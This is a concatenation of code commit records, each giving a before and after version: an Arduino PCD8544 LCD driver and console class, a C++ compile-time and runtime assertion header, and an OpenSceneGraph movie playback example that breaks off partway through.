_rowWidth = 0;\n for (uint8_t row = 0; row < lcd::Rows; row++) {\n _buffer[row][0] = 0;\n }\n _dirty = true; \n }\n \n \/** Transfers the contents of the console buffer to the LCD. \n * Note that this is not called automatically for every print() function. *\/\n void draw() {\n \n if (!_dirty)\n return;\n \n _dirty = false;\n \n for (uint8_t i = 0; i < lcd::Rows; i++) {\n \n int8_t row_index = _row - _filledRows + i;\n if (row_index < 0)\n row_index += lcd::Rows;\n \n \/\/ Print the row and erase the space after the last character.\n uint8_t width = lcd::drawText(font::font(), 0, i, lcd::Cols, _buffer[row_index]);\n lcd::fillRow(width, i, 0, lcd::Cols - width);\n }\n }\n\n void print(uint8_t c) {\n \n uint8_t ch = ch & 0x7F;\n \n if (ch >= ' ') {\n \n uint8_t width = lcd::dataForCharacter(font::font(), ch, NULL);\n if (_col >= MaxCols || _rowWidth + width >= lcd::Cols) {\n lf(); \n }\n \n _buffer[_row][_col] = ch;\n _col++;\n _buffer[_row][_col] = 0;\n _rowWidth += width + 1;\n \n } else if (ch == '\\n') {\n \n lf();\n \n } else if (ch == '\\r') {\n \n cr(); \n }\n \n _dirty = true;\n }\n \n void print(const char *str) {\n const char *src = str;\n uint8_t ch;\n while (ch = *src++) {\n print(ch);\n }\n }\n \n void print(fstr_t *str) {\n const char *src = (const char *)str;\n uint8_t ch;\n while (ch = pgm_read_byte(src++)) {\n print(ch);\n }\n }\n\n void print(int n) {\n char buf[5 + 2];\n itoa(n, buf, 10);\n print(buf);\n }\n \n void print(unsigned int n) {\n char buf[5 + 1];\n utoa(n, buf, 10);\n print(buf);\n }\n \n void print(long n) {\n char buf[10 + 2];\n ltoa(n, buf, 10);\n print(buf);\n }\n \n void print(unsigned long n) {\n char buf[10 + 1];\n ltoa(n, buf, 10);\n print(buf);\n }\n \n void println(const char *str) {\n print(str);\n lf();\n }\n \n void println(fstr_t *str) {\n print(str);\n lf();\n } \n \n void println(int n) {\n print(n);\n lf();\n }\n \n void println(unsigned int n) {\n print(n);\n lf();\n }\n \n void println(long n) {\n print(n);\n lf();\n } \n \n void println(unsigned long n) {\n print(n);\n lf();\n } \n \n void println() {\n lf();\n } \n};\n\n} \/\/ namespace\n<commit_msg>PCD8544: Add video mode as a config parameter<commit_after>\/\/\n\/\/ a21 — Arduino Toolkit.\n\/\/ Copyright (C) 2016-2017, Aleh Dzenisiuk. http:\/\/github.com\/aleh\/a21\n\/\/\n\n#pragma once\n\n#include <Arduino.h>\n\n#include <a21\/pcd8544fonts.hpp>\n#include <a21\/spi.hpp>\n\nnamespace a21 {\n \n\/** \n * Basic wrapper for a PCD8544 LCD display (such as the one that was used on Nokia 5110).\n *\/\ntemplate<typename pinRST, typename pinCE, typename pinDC, typename pinDIN, typename pinCLK, uint32_t maxFrequency = 4000000L>\nclass PCD8544 {\n \npublic:\n \n enum Flags {\n InverseVideo,\n NormalVideo\n };\n \nprivate:\n \n typedef SPI<pinDIN, pinCLK, pinCE, maxFrequency> spi;\n \n enum ValueType : uint8_t {\n Command,\n Data\n };\n \n static void write(ValueType valueType, uint8_t value) {\n pinDC::write(valueType == Data);\n spi::write(value);\n } \n\n static void beginWriting() {\n spi::beginWriting();\n }\n \n static void endWriting() {\n spi::endWriting();\n }\n \n enum FunctionSetCommand : uint8_t {\n FunctionSet = 0x20,\n \/** 0 - basic command set, 1 - extended command set. *\/\n H = 1,\n \/** 0 - horizontal addressing mode, 1 - vertical addressing mode. *\/\n V = 2,\n \/** 0 - chip active, 1 - chip in power down mode. *\/\n PD = 4\n };\n\n enum DisplayControlCommand : uint8_t {\n DisplayControl = 0x08,\n D = 0x04,\n E = 0x01,\n DisplayBlank = (uint8_t)(~(D | E)),\n NormalMode = (uint8_t)(D & ~E),\n AllSegmentsOn = (uint8_t)(~D & E),\n InverseVideoMode = (uint8_t)(D | E)\n };\n\n enum SetXAddressCommand : uint8_t {\n SetXAddress = 0x80,\n SetXAddressMask = 0x7F\n };\n \n enum SetYAddressCommand : uint8_t {\n SetYAddress = 0x40,\n SetYAddressMask = 0x07\n };\n\n enum TemperatureControlExtendedCommand : uint8_t {\n TemperatureControl = 0x04,\n TemperatureControlMask = 0x3\n };\n\n enum BiasSystemExtendedCommand : uint8_t {\n BiasSystem = 0x10,\n BiasSystemMask = 0x07\n };\n\n enum SetVopExtendedCommand : uint8_t {\n SetVop = 0x80,\n SetVopMask = 0x7F\n };\n\n static inline void extendedCommandSet(bool extended) {\n write(\n Command, \n extended ? (FunctionSet | H) & ~(PD | V) \n : (FunctionSet | 0) & ~(PD | V | H)\n );\n }\n \n static inline void setAddressInternal(uint8_t col, uint8_t row) {\n extendedCommandSet(false);\n write(Command, SetXAddress | col);\n write(Command, SetYAddress | row);\n }\n \n static inline void config(Flags flags, uint8_t operatingVoltage, uint8_t biasSystem, uint8_t temperatureControl) {\n \n beginWriting();\n\n \/\/ Not making the display mode a parameter here as those don't seem to be useful.\n extendedCommandSet(false);\n write(Command, (flags == InverseVideo) ? (DisplayControl | InverseVideoMode) : (DisplayControl | NormalMode));\n \n extendedCommandSet(true); \n write(Command, SetVop | (operatingVoltage & SetVopMask));\n write(Command, BiasSystem | (biasSystem & BiasSystemMask));\n write(Command, TemperatureControl | (temperatureControl & TemperatureControlMask));\n \n endWriting();\n } \n \npublic:\n \n \/** Number of addressable rows, with every row corresponding to 8 horizontal lines of actual pixels. *\/\n static const int Rows = 6;\n \n \/** Number of addressable columns, though unlike rows every column corresponds to 1 vertical line of pixels. *\/\n static const int Cols = 84;\n \n \/** Maximum value for the parameter of operatingVoltage function, though the actual usable values are usually much smaller. *\/\n static const uint8_t MaxVoltage = 0x7F;\n\n \/** Sets operational voltage affecting the contrast of the display. *\/\n static void operatingVoltage(uint8_t value) {\n beginWriting();\n extendedCommandSet(true);\n write(Command, SetVop | value);\n endWriting();\n }\n\n \/** Clears the display. *\/\n static void clear() {\n beginWriting();\n setAddressInternal(0, 0);\n for (int i = 0; i < Rows * Cols; i++) {\n write(Data, 0);\n }\n endWriting();\n }\n \n \/** Initializes the display. *\/\n static void begin(Flags flags = NormalVideo, uint8_t operatingVoltage = 52, uint8_t biasSystem = 4, uint8_t temperatureControl = 2) {\n \n spi::begin();\n \n pinDC::setOutput();\n pinDC::setLow();\n\n pinRST::setOutput(); \n pinRST::setLow();\n \/\/ TODO: add delay template instead\n delayMicroseconds(1000000.0 \/ maxFrequency);\n pinRST::setHigh();\n\n config(flags, operatingVoltage, biasSystem, temperatureControl);\n \n clear();\n }\n \n \/** \n * Transports a bunch of bytes for the given row. The layout directly corresponds with the memory layout of the LCD, \n * where each byte is responsible for a 8 pixel column within the row (MSB is in the bottom of the row, \n * LSB is in the top).\n *\n * The row is filled from left to right (i.e. column address is automatically incremented).\n * col col + 1\n * line row * 8: # bit 0 # bit 0 ...\n * line row * 8 + 1: # bit 1 # bit 1 ...\n * ...\n * line row * 8 + 7: # bit 7 # bit 7 ...\n * ^ ^\n * byte 0 byte 1\n *\n * Note that if more bytes are provided than is left in the row, then they'll be written to the next one \n * (or the first one in case of the last row).\n *\/\n static void writeRow(uint8_t col, uint8_t row, const uint8_t *data, uint8_t data_length) {\n beginWriting();\n setAddressInternal(col, row);\n const uint8_t *src = data;\n for (uint8_t c = data_length; c > 0; c--) {\n write(Data, *src++);\n }\n endWriting();\n }\n\n \/**\n * Similar to writeRow, but the same byte is sent `length` times.\n *\/\n static void fillRow(uint8_t col, uint8_t row, uint8_t filler, uint8_t length) {\n beginWriting();\n setAddressInternal(col, row);\n for (uint8_t c = length; c > 0; c--) {\n write(Data, filler);\n }\n endWriting();\n }\n \n \/\/\n \/\/ Support for simple 8px high fonts fitting rows of the display exactly\n \/\/\n \n \/** \n * Returns the width of the glyph corresponding to a character in the given font and, if a buffer is provided, \n * copies glyph's bitmap bytes into it. \n *\/\n static uint8_t dataForCharacter(PCD8544Font font, char ch, uint8_t *buffer) {\n \n const uint8_t *p = font;\n\n uint8_t options = pgm_read_byte(p++);\n if ((options & 1) && 'a' <= ch && ch <= 'z') {\n ch = ch - 'a' + 'A';\n }\n\n while (true) {\n\n \/\/ First character in the range (0 would mean no more ranges are defined).\n uint8_t first = pgm_read_byte(p++);\n if (first == 0) \n break;\n\n \/\/ Last character in the range.\n uint8_t last = pgm_read_byte(p++);\n\n \/\/ Number of bytes every character in the range occupies. \n uint8_t bytes_per_character = pgm_read_byte(p++);\n\n if (first <= ch && ch <= last) {\n \n \/\/ Our character is in the range, let's copy the data for it.\n \n p += (ch - first) * bytes_per_character;\n \/\/ The first byte of the glyph data is the actual width of the glyph.\n uint8_t width = pgm_read_byte(p++);\n \/\/ Copy the bitmap if the caller expects it.\n if (buffer) {\n memcpy_PF(buffer, (uint_farptr_t)p, width);\n }\n\n return width;\n }\n\n \/\/ Well, let's skip to the next range of characters.\n p += (last + 1 - first) * bytes_per_character; \n }\n\n \/\/ Let's return data for sort of a default character.\n return dataForCharacter(font, '?', buffer);\n } \n\n \/** The width of the string drawn with the given font. *\/\n static uint8_t textWidth(PCD8544Font font, const char *text) {\n \n char ch;\n const char *src = text;\n uint8_t result = 0;\n while ((ch = *src++)) { \n uint8_t width = dataForCharacter(font, ch, NULL);\n result += width + 1;\n }\n \n return result;\n }\n \n \/** \n * Renders a text string by sending the corresponding bytes directly to the LCD.\n * The row and col parameters use LCD addressing system, where each rows occupies 8 pixels.\n * The max_width parameter is not clipped to the actual width available.\n * The xor_mask set to 0xFF or 0x7E can be used to render inverted text, for example.\n *\/\n static uint8_t drawText(\n PCD8544Font font, \n const uint8_t col, \n const uint8_t row, \n const uint8_t max_width, \n const char *text, \n const uint8_t xor_mask = 0\n ) {\n \n beginWriting();\n \n setAddressInternal(col, row);\n \n char ch;\n const char *src = text;\n \n \/\/ Well, let's clip it just in case.\n uint8_t m = Cols - col;\n uint8_t width_left = max_width < m ? max_width : m;\n \n while ((ch = *src++)) {\n \n uint8_t bitmap[8];\n uint8_t width = dataForCharacter(font, ch, bitmap);\n \n for (uint8_t i = 0; i < width; i++) {\n write(Data, bitmap[i] ^ xor_mask);\n if (--width_left == 0) {\n endWriting();\n return 0;\n }\n }\n \n write(Data, xor_mask);\n if (--width_left == 0)\n break;\n }\n \n endWriting();\n \n return max_width - width_left;\n }\n \n \/** Returns how many characters will fit max_width pixels without being truncacted. *\/\n static uint8_t numberOfCharsFittingWidth(PCD8544Font font, const char *text, uint8_t max_width) {\n \n uint8_t result = 0;\n \n char ch;\n const char *src = text;\n uint8_t total_width = 0;\n while ((ch = *src++)) {\n uint8_t new_total_width = total_width + dataForCharacter(font, ch, NULL) + 1;\n if (new_total_width > max_width)\n break;\n total_width = new_total_width;\n result++;\n }\n \n return result;\n }\n \n};\n\n\/**\n * Turns a PCD8544 LCD into a simple text-only display with autoscrolling.\n * Note that we don't inherit Arduino's Print class to keep the compiled code size small.\n *\/\ntemplate<typename lcd, typename font>\nclass PCD8544Console {\n \nprivate:\n \n static const uint8_t MaxCols = lcd::Cols \/ 4;\n \n char _buffer[lcd::Rows][MaxCols + 1];\n uint8_t _row;\n uint8_t _col;\n uint8_t _rowWidth;\n uint8_t _filledRows;\n bool _dirty;\n \n void lf() {\n \n _col = 0;\n _rowWidth = 0;\n \n _row++;\n if (_row >= lcd::Rows) {\n _row = 0;\n }\n _filledRows++;\n if (_filledRows >= lcd::Rows) {\n _filledRows--;\n }\n _buffer[_row][_col] = 0;\n }\n \n void cr() {\n _col = 0;\n _rowWidth = 0;\n }\n \npublic:\n \n PCD8544Console() \n : _row(0), _col(0), _rowWidth(0), _filledRows(0)\n {}\n \n \/** Clears the console without redrawing it on the LCD. *\/\n void clear() {\n _row = _filledRows = 0;\n _col = 0;\n _rowWidth = 0;\n for (uint8_t row = 0; row < lcd::Rows; row++) {\n _buffer[row][0] = 0;\n }\n _dirty = true; \n }\n \n \/** Transfers the contents of the console buffer to the LCD. \n * Note that this is not called automatically for every print() function. *\/\n void draw() {\n \n if (!_dirty)\n return;\n \n _dirty = false;\n \n for (uint8_t i = 0; i < lcd::Rows; i++) {\n \n int8_t row_index = _row - _filledRows + i;\n if (row_index < 0)\n row_index += lcd::Rows;\n \n \/\/ Print the row and erase the space after the last character.\n uint8_t width = lcd::drawText(font::font(), 0, i, lcd::Cols, _buffer[row_index]);\n lcd::fillRow(width, i, 0, lcd::Cols - width);\n }\n }\n\n void print(char ch) {\n \n if (ch >= ' ') {\n \n uint8_t width = lcd::dataForCharacter(font::font(), ch, NULL);\n if (_col >= MaxCols || _rowWidth + width >= lcd::Cols) {\n lf(); \n }\n \n _buffer[_row][_col] = ch;\n _col++;\n _buffer[_row][_col] = 0;\n _rowWidth += width + 1;\n \n } else if (ch == '\\n') {\n \n lf();\n \n } else if (ch == '\\r') {\n \n cr(); \n }\n \n _dirty = true;\n }\n \n void print(const char *str) {\n const char *src = str;\n char ch;\n while (ch = *src++) {\n print(ch);\n }\n }\n \n void print(fstr_t *str) {\n const char *src = (const char *)str;\n char ch;\n while (ch = pgm_read_byte(src++)) {\n print(ch);\n }\n }\n\n void print(int n) {\n char buf[5 + 2];\n itoa(n, buf, 10);\n print(buf);\n }\n \n void print(unsigned int n) {\n char buf[5 + 1];\n utoa(n, buf, 10);\n print(buf);\n }\n \n void print(long n) {\n char buf[10 + 2];\n ltoa(n, buf, 10);\n print(buf);\n }\n \n void print(unsigned long n) {\n char buf[10 + 1];\n ltoa(n, buf, 10);\n print(buf);\n }\n \n void println(const char *str) {\n print(str);\n lf();\n }\n \n void println(fstr_t *str) {\n print(str);\n lf();\n } \n \n void println(int n) {\n print(n);\n lf();\n }\n \n void println(unsigned int n) {\n print(n);\n lf();\n }\n \n void println(long n) {\n print(n);\n lf();\n } \n \n void println(unsigned long n) {\n print(n);\n lf();\n } \n \n void println() {\n lf();\n } \n};\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>#ifndef Compile_Assert_hh_\n#define Compile_Assert_hh_\n\n#include <stdlib.h>\n#include <iostream>\n\n\/** \\file CompileAssert.hh\n \\author Kevin Wierman\n \\date April 12th, 2014\n \\brief Defines static and runtime assertions.\n These are to be used as follows:\n ~~~~~~~~\n Compile_RUNTIME_ASSERT(true, ThisIsATrueStatement);\n Compile_RUNTIME_ASSERT(false, ThisIsAFalseStatement);\n ~~~~~~~~\n \\note The second argument must be a single word, or else it will be interpreted as several arguments.\n**\/\n\n\n\/\/! Body-less template\ntemplate<int> \nstruct CompileTimeError;\n\n\/\/! Fully-defined template\ntemplate<> \nstruct CompileTimeError<true> {};\n\n\/\/! Use for performing static assertion\n#define Compile_STATIC_ASSERT(expr, msg) \\\n { CompileTimeError<((expr) != 0)> ERROR_##msg; (void)ERROR_##msg; } \n \n\/\/! Use for runtime assertions\n#define Compile_RUNTIME_ASSERT(expr, msg)\\\n {if(!expr) std::cerr<<#msg<<std::endl; abort();}\n\n#endif \/\/Compile_Assert_h_<commit_msg>Compile time fix for runtime assert<commit_after>#ifndef Compile_Assert_hh_\n#define Compile_Assert_hh_\n\n#include <stdlib.h>\n#include <iostream>\n\n\/** \\file CompileAssert.hh\n \\author Kevin Wierman\n \\date April 12th, 2014\n \\brief Defines static and runtime assertions.\n These are to be used as follows:\n ~~~~~~~~\n Compile_RUNTIME_ASSERT(true, ThisIsATrueStatement);\n Compile_RUNTIME_ASSERT(false, ThisIsAFalseStatement);\n ~~~~~~~~\n \\note The second argument must be a single word, or else it will be interpreted as several arguments.\n**\/\n\n\n\/\/! Body-less template\ntemplate<int> \nstruct CompileTimeError;\n\n\/\/! Fully-defined template\ntemplate<> \nstruct CompileTimeError<true> {};\n\n\/\/! Use for performing static assertion\n#define Compile_STATIC_ASSERT(expr, msg) \\\n { CompileTimeError<((expr) != 0)> ERROR_##msg; (void)ERROR_##msg; } \n \n\/\/! Use for runtime assertions\n#define Compile_RUNTIME_ASSERT(expr, msg) \\\n { if(!expr) std::cerr<<#msg<<std::endl; abort(); }\n\n#endif \/\/Compile_Assert_h_<|endoftext|>"} {"text":"<commit_before>\/\/ -*-c++-*-\n\n#include <osgProducer\/Viewer>\n\n#include <osgDB\/ReadFile>\n\n#include <osg\/Geode>\n#include <osg\/Geometry>\n#include <osg\/StateSet>\n#include <osg\/Material>\n#include <osg\/Texture2D>\n#include <osg\/TextureRectangle>\n#include <osg\/TexMat>\n#include <osg\/CullFace>\n#include <osg\/ImageStream>\n\n#include <osgGA\/TrackballManipulator>\n\nosg::ImageStream* s_imageStream = 0;\nclass PostSwapFinishCallback : public Producer::Camera::Callback\n{\npublic:\n\n PostSwapFinishCallback() {}\n\n virtual void operator()(const Producer::Camera& camera)\n {\n \/\/ osg::Timer_t start_tick = osg::Timer::instance()->tick();\n \n osgProducer::OsgSceneHandler* sh = const_cast<osgProducer::OsgSceneHandler*>(dynamic_cast<const osgProducer::OsgSceneHandler*>(camera.getSceneHandler()));\n \n if (s_imageStream && s_imageStream->getPixelBufferObject()) s_imageStream->getPixelBufferObject()->compileBuffer(*(sh->getSceneView()->getState()));\n \/\/ glFinish();\n\n \/\/osg::notify(osg::NOTICE)<<\"callback after PBO \"<<osg::Timer::instance()->delta_m(start_tick,osg::Timer::instance()->tick())<<\"ms\"<<std::endl;\n }\n};\n\nclass MovieEventHandler : public osgGA::GUIEventHandler\n{\npublic:\n\n MovieEventHandler() {}\n \n void set(osg::Node* node);\n\n virtual void accept(osgGA::GUIEventHandlerVisitor& v) { v.visit(*this); }\n\n virtual bool handle(const osgGA::GUIEventAdapter& ea,osgGA::GUIActionAdapter&);\n \n virtual void getUsage(osg::ApplicationUsage& usage) const;\n\n typedef std::vector< osg::ref_ptr<osg::ImageStream> > ImageStreamList;\n\nprotected:\n\n virtual ~MovieEventHandler() {}\n\n class FindImageStreamsVisitor : public osg::NodeVisitor\n {\n public:\n FindImageStreamsVisitor(ImageStreamList& imageStreamList):\n _imageStreamList(imageStreamList) {}\n \n virtual void apply(osg::Geode& geode)\n {\n apply(geode.getStateSet());\n\n for(unsigned int i=0;i<geode.getNumDrawables();++i)\n {\n apply(geode.getDrawable(i)->getStateSet());\n }\n \n traverse(geode);\n }\n\n virtual void apply(osg::Node& node)\n {\n apply(node.getStateSet());\n traverse(node);\n }\n \n inline void apply(osg::StateSet* stateset)\n {\n if (!stateset) return;\n \n osg::StateAttribute* attr = stateset->getTextureAttribute(0,osg::StateAttribute::TEXTURE);\n if (attr)\n {\n osg::Texture2D* texture2D = dynamic_cast<osg::Texture2D*>(attr);\n if (texture2D) apply(dynamic_cast<osg::ImageStream*>(texture2D->getImage()));\n\n osg::TextureRectangle* textureRec = dynamic_cast<osg::TextureRectangle*>(attr);\n if (textureRec) apply(dynamic_cast<osg::ImageStream*>(textureRec->getImage()));\n }\n }\n \n inline void apply(osg::ImageStream* imagestream)\n {\n if (imagestream)\n {\n _imageStreamList.push_back(imagestream); \n s_imageStream = imagestream;\n }\n }\n \n ImageStreamList& _imageStreamList;\n };\n\n\n ImageStreamList _imageStreamList;\n \n};\n\n\n\nvoid MovieEventHandler::set(osg::Node* node)\n{\n _imageStreamList.clear();\n if (node)\n {\n FindImageStreamsVisitor fisv(_imageStreamList);\n node->accept(fisv);\n }\n}\n\n\nbool MovieEventHandler::handle(const osgGA::GUIEventAdapter& ea,osgGA::GUIActionAdapter&)\n{\n switch(ea.getEventType())\n {\n case(osgGA::GUIEventAdapter::KEYDOWN):\n {\n if (ea.getKey()=='s')\n {\n for(ImageStreamList::iterator itr=_imageStreamList.begin();\n itr!=_imageStreamList.end();\n ++itr)\n {\n std::cout<<\"Play\"<<std::endl;\n (*itr)->play();\n }\n return true;\n }\n else if (ea.getKey()=='p')\n {\n for(ImageStreamList::iterator itr=_imageStreamList.begin();\n itr!=_imageStreamList.end();\n ++itr)\n {\n std::cout<<\"Pause\"<<std::endl;\n (*itr)->pause();\n }\n return true;\n }\n else if (ea.getKey()=='r')\n {\n return true;\n }\n else if (ea.getKey()=='l')\n {\n return true;\n }\n return false;\n }\n\n default:\n return false;\n }\n}\n\nvoid MovieEventHandler::getUsage(osg::ApplicationUsage& usage) const\n{\n usage.addKeyboardMouseBinding(\"p\",\"Pause movie\");\n usage.addKeyboardMouseBinding(\"s\",\"Play movie\");\n usage.addKeyboardMouseBinding(\"r\",\"Start movie\");\n usage.addKeyboardMouseBinding(\"l\",\"Toggle looping of movie\");\n}\n\n\nosg::Geometry* createTexturedQuadGeometry(const osg::Vec3& pos,float width,float height, osg::Image* image, bool useTextureRectangle)\n{\n if (useTextureRectangle)\n {\n osg::Geometry* pictureQuad = createTexturedQuadGeometry(pos,\n osg::Vec3(width,0.0f,0.0f),\n osg::Vec3(0.0f,0.0f,height),\n 0.0f,image->t(), image->s(),0.0f);\n\n pictureQuad->getOrCreateStateSet()->setTextureAttributeAndModes(0,\n new osg::TextureRectangle(image),\n osg::StateAttribute::ON);\n \n return pictureQuad;\n }\n else\n {\n osg::Geometry* pictureQuad = createTexturedQuadGeometry(pos,\n osg::Vec3(width,0.0f,0.0f),\n osg::Vec3(0.0f,0.0f,height),\n 0.0f,1.0f, 1.0f,0.0f);\n \n osg::Texture2D* texture = new osg::Texture2D(image);\n texture->setFilter(osg::Texture::MIN_FILTER,osg::Texture::LINEAR); \n \n pictureQuad->getOrCreateStateSet()->setTextureAttributeAndModes(0,\n texture,\n osg::StateAttribute::ON);\n\n return pictureQuad;\n }\n}\n\nint main(int argc, char** argv)\n{\n \/\/ use an ArgumentParser object to manage the program arguments.\n osg::ArgumentParser arguments(&argc,argv);\n \n \/\/ set up the usage document, in case we need to print out how to use this program.\n arguments.getApplicationUsage()->setApplicationName(arguments.getApplicationName());\n arguments.getApplicationUsage()->setDescription(arguments.getApplicationName()+\" is the standard OpenSceneGraph example which loads and visualises 3d models.\");\n arguments.getApplicationUsage()->setCommandLineUsage(arguments.getApplicationName()+\" [options] filename ...\");\n arguments.getApplicationUsage()->addCommandLineOption(\"-h or --help\",\"Display this information\");\n \n bool useTextureRectangle = true;\n bool useShader = false;\n\n \/\/ construct the viewer.\n osgProducer::Viewer viewer(arguments);\n \n while (arguments.read(\"--texture2D\")) useTextureRectangle=false;\n while (arguments.read(\"--shader\")) useShader=true;\n\n \/\/ set up the value with sensible default event handlers.\n viewer.setUpViewer(osgProducer::Viewer::STANDARD_SETTINGS);\n\n \/\/ register the handler to add keyboard and mosue handling.\n MovieEventHandler* meh = new MovieEventHandler();\n viewer.getEventHandlerList().push_front(meh);\n\n\n \/\/ get details on keyboard and mouse bindings used by the viewer.\n viewer.getUsage(*arguments.getApplicationUsage());\n\n \/\/ if user request help write it out to cout.\n if (arguments.read(\"-h\") || arguments.read(\"--help\"))\n {\n arguments.getApplicationUsage()->write(std::cout);\n return 1;\n }\n\n osg::ref_ptr<osg::Geode> geode = new osg::Geode;\n osg::Vec3 pos(0.0f,0.0f,0.0f);\n \n osg::StateSet* stateset = geode->getOrCreateStateSet();\n stateset->setMode(GL_LIGHTING,osg::StateAttribute::OFF);\n\n if (useShader)\n {\n \/\/useTextureRectangle = false;\n \n static const char *shaderSourceTextureRec = {\n \"uniform vec4 cutoff_color;\\n\"\n \"uniform samplerRect movie_texture;\"\n \"void main(void)\\n\"\n \"{\\n\"\n \" vec4 texture_color = textureRect(movie_texture, gl_TexCoord[0]); \\n\"\n \" if (all(lessThanEqual(texture_color,cutoff_color))) discard; \\n\"\n \" gl_FragColor = texture_color;\\n\"\n \"}\\n\"\n };\n\n static const char *shaderSourceTexture2D = {\n \"uniform vec4 cutoff_color;\\n\"\n \"uniform sampler2D movie_texture;\"\n \"void main(void)\\n\"\n \"{\\n\"\n \" vec4 texture_color = texture2D(movie_texture, gl_TexCoord[0]); \\n\"\n \" if (all(lessThanEqual(texture_color,cutoff_color))) discard; \\n\"\n \" gl_FragColor = texture_color;\\n\"\n \"}\\n\"\n };\n\n osg::Program* program = new osg::Program;\n \n program->addShader(new osg::Shader(osg::Shader::FRAGMENT,\n useTextureRectangle ? shaderSourceTextureRec : shaderSourceTexture2D));\n\n stateset->addUniform(new osg::Uniform(\"cutoff_color\",osg::Vec4(0.1f,0.1f,0.1f,1.0f)));\n stateset->addUniform(new osg::Uniform(\"movie_texture\",0));\n\n stateset->setAttribute(program);\n\n }\n\n\n for(int i=1;i<arguments.argc();++i)\n {\n if (arguments.isString(i))\n {\n osg::Image* image = osgDB::readImageFile(arguments[i]);\n osg::ImageStream* imagestream = dynamic_cast<osg::ImageStream*>(image);\n if (imagestream) imagestream->play();\n \n if (image)\n {\n geode->addDrawable(createTexturedQuadGeometry(pos,image->s(),image->t(),image, useTextureRectangle));\n \n pos.z() += image->t()*1.5f;\n }\n else\n {\n std::cout<<\"Unable to read file \"<<arguments[i]<<std::endl;\n } \n }\n }\n \n if (geode->getNumDrawables()==0)\n {\n \/\/ nothing loaded.\n return 1;\n }\n\n \/\/ pass the model to the MovieEventHandler so it can pick out ImageStream's to manipulate.\n meh->set(geode.get());\n\n \/\/ report any errors if they have occured when parsing the program aguments.\n if (arguments.errors())\n {\n arguments.writeErrorMessages(std::cout);\n return 1;\n }\n \n if (arguments.argc()<=1)\n {\n arguments.getApplicationUsage()->write(std::cout,osg::ApplicationUsage::COMMAND_LINE_OPTION);\n return 1;\n }\n\n\n \/\/ any option left unread are converted into errors to write out later.\n arguments.reportRemainingOptionsAsUnrecognized();\n\n \/\/ report any errors if they have occured when parsing the program aguments.\n if (arguments.errors())\n {\n arguments.writeErrorMessages(std::cout);\n }\n\/*\n \/\/ set up a post swap callback to flush deleted GL objects and compile new GL objects \n for(unsigned int cameraNum=0;cameraNum<viewer.getNumberOfCameras();++cameraNum)\n {\n Producer::Camera* camera=viewer.getCamera(cameraNum);\n camera->addPostSwapCallback(new PostSwapFinishCallback());\n }\n*\/\n \/\/ set the scene to render\n viewer.setSceneData(geode.get());\n\n \/\/ create the windows and run the threads.\n viewer.realize();\n\n while( !viewer.done() )\n {\n \/\/ wait for all cull and draw threads to complete.\n viewer.sync();\n \n \/\/ update the scene by traversing it with the the update visitor which will\n \/\/ call all node update callbacks and animations.\n viewer.update();\n \n \/\/ fire off the cull and draw traversals of the scene.\n viewer.frame();\n \n }\n \n \/\/ wait for all cull and draw threads to complete before exit.\n viewer.sync();\n\n return 0;\n\n\n}\n<commit_msg>Added \\n to end of a couple shader source lines.<commit_after>\/\/ -*-c++-*-\n\n#include <osgProducer\/Viewer>\n\n#include <osgDB\/ReadFile>\n\n#include <osg\/Geode>\n#include <osg\/Geometry>\n#include <osg\/StateSet>\n#include <osg\/Material>\n#include <osg\/Texture2D>\n#include <osg\/TextureRectangle>\n#include <osg\/TexMat>\n#include <osg\/CullFace>\n#include <osg\/ImageStream>\n\n#include <osgGA\/TrackballManipulator>\n\nosg::ImageStream* s_imageStream = 0;\nclass PostSwapFinishCallback : public Producer::Camera::Callback\n{\npublic:\n\n PostSwapFinishCallback() {}\n\n virtual void operator()(const Producer::Camera& camera)\n {\n \/\/ osg::Timer_t start_tick = osg::Timer::instance()->tick();\n \n osgProducer::OsgSceneHandler* sh = const_cast<osgProducer::OsgSceneHandler*>(dynamic_cast<const osgProducer::OsgSceneHandler*>(camera.getSceneHandler()));\n \n if (s_imageStream && s_imageStream->getPixelBufferObject()) s_imageStream->getPixelBufferObject()->compileBuffer(*(sh->getSceneView()->getState()));\n \/\/ glFinish();\n\n \/\/osg::notify(osg::NOTICE)<<\"callback after PBO \"<<osg::Timer::instance()->delta_m(start_tick,osg::Timer::instance()->tick())<<\"ms\"<<std::endl;\n }\n};\n\nclass MovieEventHandler : public osgGA::GUIEventHandler\n{\npublic:\n\n MovieEventHandler() {}\n \n void set(osg::Node* node);\n\n virtual void accept(osgGA::GUIEventHandlerVisitor& v) { v.visit(*this); }\n\n virtual bool handle(const osgGA::GUIEventAdapter& ea,osgGA::GUIActionAdapter&);\n \n virtual void getUsage(osg::ApplicationUsage& usage) const;\n\n typedef std::vector< osg::ref_ptr<osg::ImageStream> > ImageStreamList;\n\nprotected:\n\n virtual ~MovieEventHandler() {}\n\n class FindImageStreamsVisitor : public osg::NodeVisitor\n {\n public:\n FindImageStreamsVisitor(ImageStreamList& imageStreamList):\n _imageStreamList(imageStreamList) {}\n \n virtual void apply(osg::Geode& geode)\n {\n apply(geode.getStateSet());\n\n for(unsigned int i=0;i<geode.getNumDrawables();++i)\n {\n apply(geode.getDrawable(i)->getStateSet());\n }\n \n traverse(geode);\n }\n\n virtual void apply(osg::Node& node)\n {\n apply(node.getStateSet());\n traverse(node);\n }\n \n inline void apply(osg::StateSet* stateset)\n {\n if (!stateset) return;\n \n osg::StateAttribute* attr = stateset->getTextureAttribute(0,osg::StateAttribute::TEXTURE);\n if (attr)\n {\n osg::Texture2D* texture2D = dynamic_cast<osg::Texture2D*>(attr);\n if (texture2D) apply(dynamic_cast<osg::ImageStream*>(texture2D->getImage()));\n\n osg::TextureRectangle* textureRec = dynamic_cast<osg::TextureRectangle*>(attr);\n if (textureRec) apply(dynamic_cast<osg::ImageStream*>(textureRec->getImage()));\n }\n }\n \n inline void apply(osg::ImageStream* imagestream)\n {\n if (imagestream)\n {\n _imageStreamList.push_back(imagestream); \n s_imageStream = imagestream;\n }\n }\n \n ImageStreamList& _imageStreamList;\n };\n\n\n ImageStreamList _imageStreamList;\n \n};\n\n\n\nvoid MovieEventHandler::set(osg::Node* node)\n{\n _imageStreamList.clear();\n if (node)\n {\n FindImageStreamsVisitor fisv(_imageStreamList);\n node->accept(fisv);\n }\n}\n\n\nbool MovieEventHandler::handle(const osgGA::GUIEventAdapter& ea,osgGA::GUIActionAdapter&)\n{\n switch(ea.getEventType())\n {\n case(osgGA::GUIEventAdapter::KEYDOWN):\n {\n if (ea.getKey()=='s')\n {\n for(ImageStreamList::iterator itr=_imageStreamList.begin();\n 